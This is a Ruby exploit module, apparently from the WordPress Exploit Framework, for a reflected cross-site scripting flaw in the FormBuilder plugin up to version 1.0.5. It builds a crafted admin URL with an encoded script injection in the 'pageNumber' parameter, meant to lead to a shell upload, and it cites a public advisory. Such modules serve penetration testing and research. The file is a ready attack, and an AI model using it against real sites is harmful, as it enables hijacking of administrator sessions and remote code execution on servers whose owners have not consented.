# frozen_string_literal: true

class Wpxf::Exploit::FormbuilderReflectedXssShellUpload < Wpxf::Module
  include Wpxf::WordPress::ReflectedXss

  def initialize
    super

    update_info(
      name: 'FormBuilder <= 1.0.5 Reflected XSS Shell Upload',
      author: [
        'Peter Ganzevles', # Discovery
        'rastating'        # WPXF module
      ],
      references: [
        ['WPVDB', '8596'],
        ['URL', 'https://sumofpwn.nl/advisory/2016/cross_site_scripting_in_formbuilder_wordpress_plugin.html']
      ],
      date: 'Aug 04 2016'
    )
  end

  def check
    check_plugin_version_from_readme('formbuilder', '1.06')
  end

  def vulnerable_url
    normalize_uri(wordpress_url_admin, 'tools.php')
  end

  def url_with_xss
    "#{vulnerable_url}?page=formbuilder.php&pageNumber=%22%3E%3Cscript%3E#{xss_ascii_encoded_include_script}%3C%2Fscript%3E&formSearch=#{Utility::Text.rand_alpha(5)}&Search=Search"
  end
end
